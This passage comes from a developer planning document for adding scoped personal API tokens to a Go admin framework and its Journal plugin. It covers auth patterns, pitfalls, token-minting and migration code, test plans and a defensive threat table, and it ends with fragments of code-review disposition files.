with sentinel errors (`ErrUnauthenticated`, `ErrTokenScope`) so Journal maps them to its own byte-identical bodies (`{"error":"Authentication required"}` 401, `{"error":"Insufficient permissions"}` 403). Plugin routes are registered **before** `cabana.Activate` runs (surf router.go:540-548), so the resolver must be looked up per request, not captured at `Routes()` time. Journal's test harness uses `surf.Assemble` (admin_harness_test.go:228), so the published resolver is present in tests.
The `cover` argument closes the ownership bypass (Pitfall 3): Journal passes `"golem15.journal.*"` on every call; an unrelated scope (e.g. a future `payment`) never resolves a principal for Journal routes.
### Pattern 4: Interactive-only marker (D-06)
Route wrapper next to `requireAjax`, applied in `mount`:
```go
func interactiveOnly(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if cred, _ := bouncer.Credential(r.Context()); isAPIToken(cred) {
WriteErrorDetails(w, http.StatusForbidden, "forbidden", msgForbidden,
map[string]any{"reason": "interactive_only"})
return
}
next(w, r)
}
}
```
Current account routes [VERIFIED: modules/cabana/http.go:243-248]:
```go
r.GroupRaw(api, []string{"backend"}, func(g pact.Router) {
g.Get("/auth/me", s.me)
g.Put("/account", requireAjax(s.accountUpdate))
g.Post("/account/avatar", requireAjax(s.avatarUpload))
g.Delete("/account/avatar", requireAjax(s.avatarRemove))
```
`/auth/refresh` and `/auth/logout` are mounted outside the guard (http.go:229-238) and read `sessionToken(r)` (Bearer first). A `g15_` Bearer fails JWT verification there and already yields 401; add explicit tests so this stays true, and consider an explicit `g15_` refusal so the intent is visible.
CSRF note [VERIFIED: modules/cabana/csrf.go `csrfSafe`]: any non-empty Bearer satisfies `requireAjax`, so token clients do not need `X-Requested-With`. Keep that.
### Pattern 5: Account token API (D-16..D-18)
Endpoints under `{prefix}/api/v1` inside the `backend` group, all wrapped in `interactiveOnly` (and `requireAjax` for writes):
- `GET /account/tokens?revoked=1` → own tokens, newest first. Each row: id, name, hint, scopes as `[{name, label, read_only, known}]`, created_at, last_used_at, expires_at, revoked_at. Server translates labels (UI-SPEC §3 requires a label + known flag per scope).
- `POST /account/tokens` `{name, expires: "30d"|"90d"|"365d"|"never", scopes: [...]}` → 201 (or 200 — see Pitfall 8) with the row plus `token` plaintext once. 422 `validation_failed` details keyed `name`, `expires`, `scopes` (UI-SPEC copy: `api_tokens.name_required`, `scopes_required`, `scope_unavailable`). Trim name, 1..100 chars. `["*", "journal"]` → normalize to `["*"]` or 422 (choose one; UI-SPEC sends only `["*"]`).
- `DELETE /account/tokens/{id}` → revoke own token only (owner check in the WHERE clause, 404 otherwise); sets `revoked_at`, `revoked_by = principal.ID`.
- `GET /account/tokens/scopes` → picker list in server order: `*`, `admin:read`, then plugin scopes; hidden when no overlap (D-17). `*` always.
Overlap rule (D-17), recommended: a scope overlaps the user iff some **registered permission code** `c` satisfies `ownerHas(c) && scopeCovers(scope.Patterns, c)`; `*` always; `admin:read` iff superuser or any grant. Using the catalog avoids wildcard-vs-wildcard reasoning on user grants.
Inventories that must list every new route (or tests fail):
- `phase09Routes` [VERIFIED: modules/cabana/security_coverage_test.go:34] — mount/guard matrix (`TestPhase09PermissionMatrix`).
- OpenAPI path presence and 200/201 response (`TestPhase09ContractInventory`, phase09_contract_test.go:15-80).
- `conformCases()` vs `cabana.AdminAPIRoutes()` (`TestPhase10ConformanceInventory`, openapi_conformance_test.go:134).
Swag stubs live in `admin_openapi.go` as exported no-op functions (e.g. `func AdminAccountUpdate() {}`); new ones follow that style and are therefore exported identifiers the docs checker can see. Update the `BackendBearer` security description, which currently says `Send "Bearer {access_token}"` (admin_openapi.go:10), to mention `g15_` tokens.
### Pattern 6: Scope capability and compile (D-01, D-04)
`HasPermissions` precedent [VERIFIED: modules/pact/capabilities.go:495-506]:
```go
type Permission struct {
Code string
Tab string
Label string
Roles []string
}
type HasPermissions interface {
Permissions() []Permission
}
```
Compile precedent: `compileContributions` (registry.go:168-200) iterates plugins, validates, rejects duplicates with `fmt.Errorf("cabana: duplicate permission %s", …)`, then `validatePermissions(owner, codes)` (registry.go:301-308) checks `permissionCode(code, true)` and `permissionExists`.
Recommended capability:
```go
type TokenScope struct {
Name string // "journal", "journal:read"
Label string // phrase key, e.g. "golem15.journal::lang.scopes.journal"
Description string // phrase key
Permissions []string // non-empty; Winter patterns, validated against the catalog
Methods []string // non-empty; e.g. pact.TokenReadMethods = {"GET","HEAD"}
}
type HasTokenScopes interface{ TokenScopes() []TokenScope }
```
Boot validation (fail loud): name syntax `^[a-z][a-z0-9_-]*(:[a-z][a-z0-9_-]*)?$`; reserved `*`, `admin`, `admin:*`; duplicates across plugins; empty permissions or methods; unknown HTTP method; permissions via `validatePermissions`; label/description containing `::` must exist in the translator (same rule as action labels in `validateMessageKeys`, messages.go:322-326).
Journal registers [catalog VERIFIED: ../sm-journal-plugin/admin_permissions.go — codes `golem15.journal.manage_settings`, `golem15.journal.access_posts`, `golem15.journal.access_categories`, `golem15.journal.access_other_posts`, `golem15.journal.access_import_export`, `golem15.journal.access_publish`, `golem15.journal.access_tags`]:
- `journal` → `golem15.journal.*`, all methods
- `journal:read` → `golem15.journal.*`, GET/HEAD
Unknown stored scope names (plugin removed): grant nothing, render as unknown (UI-SPEC §3). Tokens whose scopes are all unknown authenticate but cannot pass any method filter → 403; consider 401 instead so agents see a dead token (discretion).
### Pattern 7: CLI (D-19)
Current signature [VERIFIED: modules/cabana/commands.go:18 — `func RuntimeCommands(app *backpack.App) []bonfire.Command {`]; generated host `main.go` calls it [VERIFIED: ../sm-grzybyfunkcjonalne-app/main.go:44 — `commands = append(commands, cabana.RuntimeCommands(app)...)`, file header `// Code generated by summer build. DO NOT EDIT.`]; same line in `fonoteka.go/main.go`, `sm-summercmsio-app/main.go`, `sm-bm-app/main.go`, `internal/build/build.go:120`, `examples/hello/main.go:44`, `cmd/summer/docs.go:156`.
`party.Activate` stores only plugin IDs on the app (`app.SetPlugins(orderedIDs)`, registry.go:107); the plugin objects are not published.
Options:
- **A (recommended, version-bump-only for hosts):** `party.Activate` publishes the ordered plugin slice under a named type (e.g. `party.Activated`); cabana's token commands look it up at `Run` time and compile the scope + permission catalog. `RuntimeCommands(app)` signature unchanged. Cost: a party README/API addition.
- **B:** `RuntimeCommands(app *backpack.App, plugins ...party.Plugin)` (source compatible) plus a generator change. Old generated mains compile but pass no plugins, so `--scope=journal` would be "unknown" until each host re-runs `summer build`. Contradicts "host applications only for the version bump."
bonfire facts:
- Repeatable flags exist [VERIFIED: modules/bonfire/command.go:42-48 — `Repeatable bool`, read through `Input.Flags`]; cobra StringSlice also splits `--scope=a,b`.
- **All Output methods except `Error` write to stdout, and `NewRoot` sets `errW = out`** [VERIFIED: modules/bonfire/root.go:12-14 — `return NewRootIO(name, commands, os.Stdin, out, out)`; output.go `Success`/`Warning`/`Info` call `c.Println`]. To keep `admin:token:create` pipe-clean, print exactly `out.Println(token)` and nothing else on success; return errors (the generated main prints them to stderr).
`summer` forwards app commands through a fixed table [VERIFIED: cmd/summer/runtime.go:37-38 rows for `admin:create`, `admin:reset-password`]. Add `admin:token:*` rows if `summer admin:token:create …` should work from the app directory, and the `docs/console/introduction.md` delegate table with them. `docsCommands` (docs.go:146-163) already picks up anything `cabana.RuntimeCommands(app)` returns.
Identifier resolution: reuse the `findBackendLogin` ambiguity rule (login OR lower(email), exactly one row). Refuse to mint for a deactivated or soft-deleted user (the token would 401 anyway). `revoked_by` is NULL for CLI revokes.
### Anti-Patterns to Avoid
- **Checking scope in per-route middleware annotations:** permission checks live in handlers (D-14); annotations would miss actions, relations and settings.
- **Letting the token branch fall through to the JWT parser:** a `g15_` value must never be handed to `VerifyClaimsAudience`; route by prefix first.
- **Accepting `g15_` from the `summer_admin` cookie or a query string:** D-13 forbids it; the JWT path's cookie fallback must stay JWT-only.
- **Failing auth when the `last_used_at` write fails:** the user plugin's guard does this (api_token.go returns `errInvalidAPIToken` on update error); cabana should log and continue.
- **Returning the plaintext anywhere after creation:** not in list rows, logs, slog attributes, or error details.
## Don't Hand-Roll
| Problem | Don't Build | Use Instead | Why |
|---------|-------------|-------------|-----|
| Random secret | math/rand, time-seeded IDs | `crypto/rand.Read` | CSPRNG required for bearer secrets |
| Hash compare | `==` on secrets | `crypto/subtle.ConstantTimeCompare` on fixed-length hex | Removes a timing side channel |
| JWT path | any change to JWT verification | wrap existing `NewBackendJWTGuard` unchanged | D-13; keeps audience, blacklist, cutoff behaviour |
| Owner loading | a second user query | `lazyBackendUsers.FindByID` / `BackendUsers.FindByID` | Already merges role, code-declared and user grants (auth.go:40-69) |
| Validation messages | ad-hoc strings | `ValidationError{Details: …}`, `lagoon`/`backendMessage` helpers as in account.go | Keeps the D-10 envelope and translations |
| Plaintext display/copy | custom modal | Reka Dialog shell copied from `RelationPickerModal.vue`, shared `ConfirmDialog` | UI-SPEC binding |
**Key insight:** every security-relevant primitive here is stdlib or already in cabana; the work is wiring and making the deny-by-default rule hold on routes that never called `Allows`.
## Runtime State Inventory
Not a rename/refactor phase. One related check: Apparatus `golem15_apparatus_personal_api_tokens` rows exist only in the PHP deployment and are explicitly **not migrated** (D-12). Nothing in the Go apps stores `g15_` tokens today.
## Common Pitfalls
### Pitfall 1: Superuser short-circuit survives the rewrite
**What goes wrong:** `IsSuperuser || len(required) == 0` returns true before scope logic, so a superuser's `journal` token administers everything.
**How to avoid:** Evaluate the scope limit first; superuser only replaces the owner-grant side. Table-test superuser × each scope.
**Warning signs:** a test for "superuser + journal token on a non-journal controller" passes with 200.
### Pitfall 2: Routes that never call `Allows`
**What goes wrong:** D-05 deny-by-default only holds where `Allows` runs. Handlers that check only `principal.Backend`: `/auth/me` (intended open), `/navigation`, `/settings` (both filtered per item via `Allows`, so a scoped token sees only covered items — acceptable), `/field-types` (field_type.go:864-866) and `/markdown/preview` (field_markdown.go:71-73) — no permission gate at all.
**How to avoid:** Add an explicit gate equivalent to `Allows(principal, nil)` on `/field-types` and `/markdown/preview` (only `*`, and `admin:read` on GET, pass). Document the classification of every route in `mount` in a test table.
**Warning signs:** a `journal:read` token gets 200 from `/field-types`.
### Pitfall 3: Ownership branches bypass `Allows`
**What goes wrong:** Journal `UploadFeaturedImage`/`DeleteFeaturedImage` check only `post.CanEdit(pr)` (posts.go:323-341, 391-405; no `requireAccessPosts`), and `CanEdit` returns true for the post's author regardless of permissions (models/post.go:161-169). `canViewDraft` likewise passes the owner (posts_helpers.go:33-41). Any token whose scope permits the method would reach them for the owner's own posts.
**How to avoid:** The resolver's `cover` argument (Pattern 3) refuses tokens whose scopes do not cover `golem15.journal.*`. Separately decide whether featured-image routes should also call `requireAccessPosts` (PHP parity check needed — the CONTEXT flags it as a possible pre-existing gap).
**Warning signs:** a non-Journal scoped token uploads a featured image.
### Pitfall 4: `*cabana.Registry` lookup is always nil
**What goes wrong:** Journal's guard drops code-declared role grants today; if the resolver copies that pattern, tokens inherit the bug.
**How to avoid:** The resolver uses the same `lazyBackendUsers{app, reg}` instance the admin guard uses. Add a Journal test where the role grant comes only from `Permission.Roles` (code-declared) and the API write succeeds. Note this as a behaviour change in the Journal README/changelog (users with code-declared grants gain access they lacked through the Journal API).
### Pitfall 5: Migration tests pin the last ID
**What goes wrong:** `TestBackendAdminMetadataColumn` asserts the last `BackendAdminMigrations` ID and the last history row equal `202610090001_backend_users_metadata` and then `RollbackLast()`s expecting the metadata column to disappear [VERIFIED: modules/lagoon/backend_admin_migrations_test.go:561-575].
**How to avoid:** Update that test (roll back two, or assert by ID) in the same commit as the migration. `TestPhase09MigrationsFreshRollback` rolls back every entry newest-first (rollbackBackendAdmin, :445-452), which drops the token table before `backend_users` — keep the FK so that order works.
Schema facts for the FK [VERIFIED: modules/lagoon/backend_admin_migrations.go:36-37 — `CREATE TABLE IF NOT EXISTS backend_users (` / `id SERIAL PRIMARY KEY,`]: use `backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE`, `revoked_by INTEGER NULL REFERENCES backend_users(id) ON DELETE SET NULL`. Use `CREATE TABLE IF NOT EXISTS` and `CREATE … INDEX IF NOT EXISTS` to match the re-runnable style.
### Pitfall 6: CLI cannot see plugin scopes
See Pattern 7. Without a plugin list, `admin:token:scopes` shows only `*` and `admin:read`, and `--scope=journal` is rejected.
### Pitfall 7: CLI stdout pollution
`out.Success`/`Warning`/`Info` go to stdout, and in generated mains stderr is stdout too. Any courtesy line breaks `TOKEN=$(./bin/app admin:token:create …)`. Test that stdout is exactly `g15_<40 hex>\n`.
### Pitfall 8: OpenAPI inventory demands 200 or 201
`TestPhase09ContractInventory` fails a route with neither 200 nor 201 documented. Document 201 for create if you return 201; the SPA openapi-fetch client handles both.
### Pitfall 9: Scope labels are not in the SPA bundle
The public bundle serves only `backend::lang.` keys [VERIFIED: modules/cabana/lang.go:8 — `const adminLangPrefix = "backend::lang."`]. Plugin scope labels must be translated server-side in `/account/tokens/scopes` and in the list rows; framework scope copy (`api_tokens.*`) goes in `modules/phrasebook/backend/lang/{en,pl}/lang.yaml`.
### Pitfall 10: Route shadowing under the admin API
`GET /account/tokens/scopes` (three literal segments) is more specific than `GET /{vendor}/{plugin}/{controller}`, so ServeMux accepts both, but a plugin with vendor `account`, plugin `tokens`, controller `scopes` would be shadowed. `reservedVendorSegments` holds only `api`, `assets`, `login`, `settings` [VERIFIED: modules/cabana/registry.go:44]. Consider adding `account` (low risk).
### Pitfall 11: Journal throttle key runs before auth
`journal-api` bucket key reads `bouncer.User(r.Context())` (plugin.go:118-123) before any guard has run, so it always keys by IP. Agents behind one IP share 120/min. Pre-existing; leave unless cheap, but document.
### Pitfall 12: Docs snippets must compile
Docs pages use `src=modules/bouncer/example_test.go#ExampleNewJWTGuard`-style snippets checked by `TestDocsTree`. New code samples in docs should come from `Example*` tests, and every identifier named must exist.
## Code Examples
### Mint and hash (stdlib only)
```go
// Source: D-07; transform matches Apparatus PersonalApiToken::generateToken/hashToken
const tokenPrefix = "g15_"
func mintToken() (plain, hash, hint string, err error) {
var b [20]byte
if _, err = rand.Read(b[:]); err != nil {
return "", "", "", err
}
plain = tokenPrefix + hex.EncodeToString(b[:]) // 4 + 40 chars, lowercase
sum := sha256.Sum256([]byte(plain))
return plain, hex.EncodeToString(sum[:]), plain[len(plain)-4:], nil
}
func wellFormed(v string) bool {
if len(v) != 44 || !strings.HasPrefix(v, tokenPrefix) {
return false
}
for _, c := range v[4:] {
if !(c >= '0' && c <= '9' || c >= 'a' && c <= 'f') {
return false
}
}
return true
}
```
### Debounced last_used_at
```go
// In-memory gate (per process) + conditional UPDATE (safe across processes).
var lastStamp sync.Map // token id -> time.Time
func stamp(ctx context.Context, db *gorm.DB, id uint, now time.Time) {
if v, ok := lastStamp.Load(id); ok && now.Sub(v.(time.Time)) < time.Minute {
return
}
lastStamp.Store(id, now)
err := db.WithContext(ctx).Exec(`UPDATE backend_api_tokens SET last_used_at = ?
WHERE id = ? AND (last_used_at IS NULL OR last_used_at < ?)`, now, id, now.Add(-time.Minute)).Error
if err != nil {
slog.Default().WarnContext(ctx, "cabana: token last_used_at stamp failed", "token_id", id, "error", err)
}
}
```
Use `UPDATE … SET last_used_at` only (not `updated_at`).
### Migration entry
```go
// Appended to lagoon.BackendAdminMigrations; table name is discretion.
{
ID: "202610110001_backend_api_tokens",
Migrate: func(tx *gorm.DB) error {
for _, stmt := range []string{
`CREATE TABLE IF NOT EXISTS backend_api_tokens (
id BIGSERIAL PRIMARY KEY,
backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE,
name TEXT NOT NULL,
token_hash CHAR(64) NOT NULL UNIQUE,
token_hint TEXT NOT NULL,
scopes TEXT NOT NULL,
expires_at TIMESTAMPTZ,
last_used_at TIMESTAMPTZ,
revoked_at TIMESTAMPTZ,
revoked_by INTEGER REFERENCES backend_users(id) ON DELETE SET NULL,
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
)`,
`CREATE INDEX IF NOT EXISTS backend_api_tokens_backend_user_id_index ON backend_api_tokens (backend_user_id)`,
} {
if err := tx.Exec(stmt).Error; err != nil {
return err
}
}
return nil
},
Rollback: func(tx *gorm.DB) error {
return tx.Exec(`DROP TABLE IF EXISTS backend_api_tokens`).Error
},
},
```
The `UNIQUE` constraint creates the lookup index; no separate hash index is needed.
## State of the Art
| Old Approach | Current Approach | When Changed | Impact |
|--------------|------------------|--------------|--------|
| Apparatus `TokenAuthenticate` (no scopes, full owner access, stamp every request) | Scoped tokens ∩ owner permissions, method-limited read scopes, debounced stamp | This phase | Agents get least privilege |
| Journal writes: backend JWT only (Phase 15 D-15) | Composite resolver: JWT or `journal`-scoped token | This phase | Reversal recorded in Journal README |
## Assumptions Log
| # | Claim | Section | Risk if Wrong |
|---|-------|---------|---------------|
| A1 | Publishing the activated plugin slice from `party.Activate` (Option A) is acceptable as a framework API addition | Pattern 7 | If rejected, Option B forces every host to regenerate `main.go` |
| A2 | Per-code any-of evaluation (owner AND scope per code) is the intended reading of D-03 | Pattern 2 | If "every required permission" was meant literally for multi-code checks, some multi-permission actions would need all codes covered |
| A3 | `/field-types` and `/markdown/preview` should be gated to `*`/`admin:read` under tokens | Pitfall 2 | A `journal` agent that wants markdown preview would be refused |
| A4 | A token whose stored scopes are all unknown should 401 rather than 403 | Pattern 6 | Minor UX difference for agents |
| A5 | Featured-image routes' missing `requireAccessPosts` may be PHP parity, not a bug | Pitfall 3 | Adding it could change Journal's contract for authors without `access_posts` |
| A6 | `admin:read` is offered in the picker only when the user is superuser or has at least one grant | Pattern 5 | Picker differs slightly from user expectation |
## Open Questions (RESOLVED)
1. **CLI plugin access (Option A vs B).** Recommendation: A. Ask the user at the plan-count checkpoint since it touches `party`'s exported API. — RESOLVED: Option A, user-confirmed: `party.Activate` publishes `party.Activated` and the token commands read it at Run time, with `cabana.RuntimeCommands(app)` unchanged (16.3-01 Decisions, Task 4).
2. **Featured-image permission gap.** Check the frozen PHP `routes.php`/controller for `access_posts` on featured images before adding it; the resolver's cover check closes the token-scope side either way. — RESOLVED: the frozen PHP `PostApiController` checks only `$post->canEdit($user)` on both featured-image actions, so no `access_posts` check is added (parity), and the resolver cover `golem15.journal.*` closes the token side (16.3-03 Decisions, Task 2 `TestJournalTokenExpansion`).
3. **Create response status (200 vs 201).** Either passes the inventory if documented; 201 matches Journal's own create; the admin API mostly uses 200. Recommendation: 201. — RESOLVED: 201, user-locked, documented as `@Success 201` in the swag stub (16.3-01 Decisions "Create contract", Task 3).
4. **Mixed `*` + other scopes on create.** Normalize to `["*"]` (simplest for clients) or 422. Recommendation: normalize. — RESOLVED: normalize to `["*"]`, user-locked, in the shared `validateTokenRequest`/`issueAPIToken` path used by the API and the CLI (16.3-01 Task 3).
5. **Version release.** The Journal change requires a new framework tag (current latest `v0.1.20`) and a Journal `go.mod` bump; host apps then bump the journal submodule and framework version. Confirm the release step is in a plan. — RESOLVED: 16.3-03 Task 3 (blocking-human release gate) and Task 4 (annotated tag after `v0.1.20`, Journal `go.mod` require, `sm-grzybyfunkcjonalne-app` journal gitlink bump; the `sm-summercmsio-app` bump is asked at the gate).
## Environment Availability
| Dependency | Required By | Available | Version | Fallback |
|------------|------------|-----------|---------|----------|
| Go | all Go code | ✓ | go1.27.0 | — |
| Node | admin SPA build/tests | ✓ | v22.23.2 (engines `>=22.6`) | — |
| npm | admin deps | ✓ | 12.0.2 | — |
| Docker daemon | testcontainers Postgres suites (cabana auth/account harness `adminHandler`, lagoon migration tests, Journal admin harness) | ✗ in this sandbox (`permission denied while trying to connect to the docker API at unix:///var/run/docker.sock`) | client 29.7.2 | Run Postgres stages on a Docker host; Docker-free unit tests (Allows, scope cover, mint/format, CLI arg parsing, inventories) run anywhere |
**Missing dependencies with no fallback:** none for planning; executors need a Docker host for the Postgres stages (as in every earlier phase gate).
## Validation Architecture
### Test Framework
| Property | Value |
|----------|-------|
| Framework | Go `testing` (+ testcontainers-go Postgres for DB suites); vitest 3.2.7 + @vue/test-utils + happy-dom for the SPA |
| Config file | `admin/vitest.config.ts` (`include: ['tests/**/*.test.ts']`, setup `tests/setup.ts`) |
| Quick run command | `go test ./modules/cabana ./modules/bouncer ./modules/pact -run 'Token|Scope|Allows' -count=1` |
| Full suite command | `go vet ./... && go test ./... && npm --prefix admin test && (cd ../sm-journal-plugin && go vet ./... && go test ./...)` |
### Phase Requirements → Test Map
| Req ID | Behavior | Test Type | Automated Command | File Exists? |
|--------|----------|-----------|-------------------|-------------|
| SC-1 | `g15_` Bearer authenticates; JWT and cookie unchanged; malformed/expired/revoked/deactivated/soft-deleted → 401; cookie or query `g15_` ignored | unit + Postgres | `go test ./modules/cabana -run TestBackendToken -count=1` | ❌ Wave 0 |
| SC-2 | `Allows` matrix: scope × owner × superuser × empty list × method; non-`Allows` route gates; interactive-only routes refuse `*` | unit (Docker-free) | `go test ./modules/cabana -run 'TestAllowsScope|TestTokenRouteGates|TestInteractiveOnly' -count=1` | ❌ Wave 0 |
| SC-2 | scope cover incl. wildcard-vs-wildcard, overlap rule | unit | `go test ./modules/cabana -run TestScopeCover -count=1` | ❌ Wave 0 |
| SC-2 | boot fails on duplicate/reserved/invalid scope, unknown permission, missing phrase key | unit | `go test ./modules/cabana -run TestTokenScopeCompile -count=1` | ❌ Wave 0 |
| SC-3 | account token API: list/create/revoke/scopes, 422 details, own-only revoke, plaintext once | Postgres | `go test ./modules/cabana -run TestAccountTokens -count=1` | ❌ Wave 0 |
| SC-3 | route inventories + OpenAPI | unit | `go test ./modules/cabana -run 'TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory' -count=1` and `bash scripts/check-admin-openapi.sh --check` | ✅ (update) |
| SC-3 | CLI: create stdout exactly the token; list; revoke; scopes; overlap 422-equivalent errors | Postgres | `go test ./modules/cabana -run TestTokenCommands -count=1` | ❌ Wave 0 |
| SC-3 | SPA panel: states, show-once, clipboard fallback, close-without-copy, plaintext cleared | vitest | `npm --prefix admin test -- tests/components/ApiTokensPanel.test.ts` | ❌ Wave 0 |
| SC-3 | migration up/down, last-ID test updated | Postgres | `go test ./modules/lagoon -run TestBackendAdmin -count=1` | ✅ (update) |
| SC-4 | Journal: `journal` token writes; `journal:read` POST → 403 Journal body; unrelated scope → 403/anon; JWT path unchanged; code-declared role grant now honored | Postgres | `(cd ../sm-journal-plugin && go test . -run TestJournalToken -count=1)` | ❌ Wave 0 |
| SC-5 | docs identifiers, commands, snippets | unit | `go test ./cmd/summer -run TestDocsTree -count=1` | ✅ |
| SC-5 | SPA dist drift | script | `bash scripts/check-admin-dist.sh` | ✅ |
### Sampling Rate
- **Per task commit:** quick run command plus `go vet ./...`.
- **Per wave merge:** full suite; Postgres suites on a Docker host.
- **Phase gate:** a `scripts/check-phase16.3.sh` following the 16.2 gate's stage pattern (go, admin, docs, postgres; fail on skips or zero tests), green before `/msd-verify-work`.
### Wave 0 Gaps
- [ ] `modules/cabana/token_*_test.go` — Allows/scope cover/compile/guard/inventory classification (Docker-free)
- [ ] `modules/cabana/account_tokens_test.go` — API via the existing `adminHandler(t, gdb, mutate)` harness (auth_test.go:367)
- [ ] `modules/cabana/commands_test.go` additions — token commands (stdout purity)
- [ ] `admin/tests/components/ApiTokensPanel.test.ts` — UI-SPEC backstops (plaintext never retained, clipboard flow, close guard)
- [ ] `../sm-journal-plugin/journal_api_tokens_test.go` — via `newPostsEnv`
- [ ] `scripts/check-phase16.3.sh`
## Security Domain
### Applicable ASVS Categories
| ASVS Category | Applies | Standard Control |
|---------------|---------|-----------------|
| V2 Authentication | yes | 160-bit CSPRNG secret, sha256 at rest, format check before lookup, expiry, soft revoke, owner activation check |
| V3 Session Management | yes | Tokens are not sessions: interactive-only routes (account, tokens, logout/refresh) refuse them; JWT cutoff unaffected (D-10) |
| V4 Access Control | yes | Owner ∩ scope in `Allows`; method filter in guard; resolver cover check; superuser limited by scope |
| V5 Input Validation | yes | Name trim/length, expiry enum or date, scope names against the compiled catalog (422) |
| V6 Cryptography | yes | stdlib `crypto/rand`, `crypto/sha256`, `crypto/subtle`; nothing hand-rolled |
| V7 Error Handling and Logging | yes | Never log plaintext or Authorization; log token id and admin id on denial via `logAuth` |
### Known Threat Patterns for this stack
| Pattern | STRIDE | Standard Mitigation |
|---------|--------|---------------------|
| Leaked token mints more tokens or changes password | Elevation of privilege | Interactive-only marker on account and token routes (D-06) |
| Scoped token reaches unscoped route | Elevation of privilege | Deny-by-default in `Allows`; explicit gates on non-`Allows` routes; resolver cover |
| Superuser token escapes scope | Elevation of privilege | Scope evaluated before the superuser shortcut |
| Token via cookie/query (CSRF, referrer leak) | Spoofing / Info disclosure | Bearer header only (D-13) |
| Timing oracle on hash compare | Info disclosure | Indexed equality on sha256 + constant-time compare after fetch |
| Plaintext persisted in browser | Info disclosure | Component-local state only, cleared on close/unmount (UI-SPEC §5) |
| DB dump reveals usable tokens | Info disclosure | Only sha256 stored; hint is 4 chars |
| Write amplification (stamp per request) | DoS | Per-minute debounce |
| Dead owner keeps access | Elevation of privilege | Fresh `FindByID` per request (D-10) |
## Sources
### Primary (HIGH confidence — read this session)
- `modules/bouncer/{guard.go,context.go,registry.go,jwt.go}` — guard interfaces, Principal, middleware failure path, bearer extraction
- `modules/cabana/{http.go,auth.go,contracts.go,account.go,csrf.go,commands.go,registry.go,lang.go,admin_openapi.go,field_type.go,field_markdown.go,messages.go}` — registration, mount, Allows/granted, account handlers, CSRF, CLI, scope-compile precedent
- `modules/cabana/{security_coverage_test.go,phase09_contract_test.go,openapi_conformance_test.go,export_test.go}` — route inventories
- `modules/lagoon/{backend_admin_migrations.go,backend_admin_migrations_test.go,migrations.go,jsonable.go}`
- `modules/pact/capabilities.go`, `modules/party/registry.go`, `modules/bonfire/{command.go,output.go,root.go}`, `modules/surf/router.go`, `modules/wristband/crypto.go`
- `cmd/summer/{runtime.go,docs.go}`, `internal/build/build.go`, `docs/services/authentication.md`, `docs/console/{introduction.md,setup-and-maintenance.md}`
- `scripts/{check-admin-openapi.sh,check-admin-dist.sh,check-phase16.2.sh}`, `admin/{package.json,vitest.config.ts,src/api/client.ts}`
- `../sm-journal-plugin/{controllers/api/auth.go,controllers/api/posts.go,controllers/api/posts_helpers.go,models/post.go,routes.go,admin_permissions.go,plugin.go,admin_harness_test.go,go.mod,go.work}`
- `../sm-summercmsio-app/plugins/golem15/user/{middleware/api_token.go,classes/api_tokens.go,models/api_token.go,updates/202610040001_create_api_tokens.go}`
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/{models/PersonalApiToken.php,middleware/TokenAuthenticate.php}`
- Host `main.go` files in `sm-grzybyfunkcjonalne-app`, `fonoteka.go` (generated, call `cabana.RuntimeCommands(app)`)
### Secondary / Tertiary
- None. No web sources were needed: the phase adds no external dependency and every decision is in-repo.
## Metadata
**Confidence breakdown:**
- Standard stack: HIGH — stdlib plus already-pinned modules; nothing new.
- Architecture: HIGH — every seam read in source; the open choices (CLI plugin access, multi-code reading) are flagged.
- Pitfalls: HIGH — each one traced to a file and line this session.
**Research date:** 2026-10-11
**Valid until:** 2026-11-10 (in-repo findings; re-check if cabana auth or Journal auth changes first)
### Suggested plan split (for the plan-count checkpoint; CLAUDE.md rule 2)
1. Framework core: pact `HasTokenScopes`, scope compile + framework scopes, `bouncer.Principal` scope limit, `Allows` rewrite, token table migration (+ fixed migration test), composite guard, interactive-only marker, route gates, published resolver; smoke tests.
2. Account token API + swag/OpenAPI regen + route inventories, CLI `admin:token:*` (+ plugin-list access), `summer` delegate rows; smoke tests.
3. Admin SPA token panel per UI-SPEC, lang keys, `npm run build` dist commit.
4. Journal: scopes + lang, resolver switch, README; framework READMEs (cabana, bouncer, pact, party if changed) and `docs/` pages; framework tag and Journal `go.mod` bump.
5. Unit tests (last plan): full coverage across both repos, `scripts/check-phase16.3.sh`.

View File

@@ -0,0 +1,39 @@
---
phase: 16.3
review: 16.3-REVIEW.md
titles: json
findings:
- id: WR-01
severity: warning
disposition: fixed
title: "TestPhase10Coverage golden list omits account token routes"
- id: WR-02
severity: warning
disposition: fixed
title: "Create dialog Submit enabled with zero scopes selected"
- id: IN-01
severity: info
disposition: open
title: "last_used_at in-process debounce stores success before the DB write"
- id: IN-02
severity: info
disposition: open
title: "Create-dialog scope checkboxes lack associated accessible names beyond the wrapping label"
open: 2
total: 4
recorded: 2026-10-11T11:48:56.057Z
updated: 2026-10-11T11:53:00.000Z
---
# Phase 16.3: Code Review Disposition
| Finding | Severity | Disposition | Source |
|---------|----------|-------------|--------|
| WR-01 | warning | fixed | a955d2a |
| WR-02 | warning | fixed | cb4b0a9 |
| IN-01 | info | open | - |
| IN-02 | info | open | - |
Dispositions: `open` (recorded, not yet triaged), `fixed`, `skipped`, `deferred`.
Set `deferred` by hand and put the reason in the Source cell; both are preserved. A `|` in the reason is kept as prose and escaped on the next run.
Re-running the gate keeps every row it can. A row the current review no longer reports is kept and its Source cell flagged, so a finding does not leave this record silently. ONE exception: when a finding id is REUSED by a different finding, the earlier decision cannot keep a row — the id is taken — and it is dropped. A RECORDED decision (anything but `open`) is named on the console when that happens; a row still at `open` is replaced silently, because `open` records no decision to lose.

View File

@@ -0,0 +1,155 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
reviewed: 2026-10-11T11:47:43Z
depth: standard
files_reviewed: 59
files_reviewed_list:
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- admin/src/api/types.ts
- admin/src/components/account/ApiTokenCreateDialog.vue
- admin/src/components/account/ApiTokensPanel.vue
- admin/src/components/ui/ConfirmDialog.vue
- admin/src/views/AccountView.vue
- admin/tests/account/ApiTokenCreateDialog.test.ts
- admin/tests/account/ApiTokensPanel.test.ts
